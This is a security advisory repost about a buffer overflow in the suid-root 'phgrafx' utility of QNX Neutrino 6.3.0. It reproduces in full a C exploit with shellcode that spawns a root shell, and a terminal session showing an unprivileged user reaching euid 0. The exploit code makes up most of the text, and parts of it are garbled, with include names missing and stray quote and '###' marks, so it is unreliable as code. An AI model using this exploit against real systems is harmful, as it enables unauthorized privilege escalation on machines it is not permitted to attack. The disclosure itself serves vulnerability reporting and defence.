Possible privilege escalation on QNX Neutrino 6.3.0

A buffer overflow vulnerability in the utility ""phgrafx"" included in the QNX Neutrino Realtime Operating System can potentially be exploited by malicious users to escalate their privileges (by default the application is suid and owned by root).pasquale minervini (minervini neuralnoise com) has posted on SecurityFocus BugTraq (http://www.securityfocus.com/archive/1/418105) the example code:
qnx$ uname -a; id
QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
qnx$ gcc phex.c -o phex -W
qnx$ ./phex
shellcode length: 21
address: 0x8047a2c
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# id

uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty)

#

source:
/*
* minervini (at) neuralnoise (dot) com [email concealed] (c) 2005, all rights reserved.
* sample exploit for phgrafx on QNX 6.3.0 x86
*
* tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
*/

#include #include #include #include #include #include #ifndef _PATH # define _PATH (""/usr/photon/bin/phgrafx"") #endif #ifndef _RET_INIT # define _RET_INIT (864) #endif

/* thanks to my friend pi3 that suggested me to call a libc
* function to make the shellcode way shorter than it was */
char scode[] = ""\x31\xc0"" // xor %eax,%eax
""\x50"" // push %eax
""\x68\x2f\x2f\x73\x68"" // push $0x68732f2f
""\x68\x2f\x62\x69\x6e"" // push $0x6e69622f
""\x54"" // push %esp
""\xbb\xEF\xBE\xAD\xDE"" // mov $0xDEADBEEF,%ebx
""\xff\xd3""; // call *%ebx
unsigned long get_sp (void) {
__asm__ (""movl %esp, %eax"");
}
int main (int argc, char **argv) {
int i, slen = strlen (scode), offset = 0;
long ptr, *lptr, addr;
char *buf;
void *handle;
handle = dlopen (NULL, RTLD_LAZY);
addr = (long) dlsym (handle, ""system"");
for (i = 0; i < 4; i++) {
char temp = (*((char *) &addr + i) & 0xff);
if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
puts
(""currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably won't work since"###" the application seems to truncate those bytes. BTW you can rely on functions like exec*(), spawn*()"###" or MsgSend*() to get this working.\n"###"more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/"")
;
return (-1);
}
}
memcpy((char *)&scode + 0xf, &addr, 4);
if (argc > 1)
offset = strtoul(argv[1], NULL, 0);
if (!(buf = (char *) malloc(1032)))
err(1, ""malloc()"");
memset(buf, 0, 1032);
for (i = 0; i < (_RET_INIT - slen); i++)
buf[i] = 'A'; // inc %ecx
printf(""shellcode length: %d\n"", slen);
for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
buf[i] = scode[i - (_RET_INIT - slen)];
lptr = (long *) (buf + _RET_INIT);
printf(""address: 0x%lx\n"", ptr = (get_sp () - offset));
for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
*(lptr + i) = (int) ptr;
execl(_PATH, ""phgrafx"", buf, NULL);
return (0);
}

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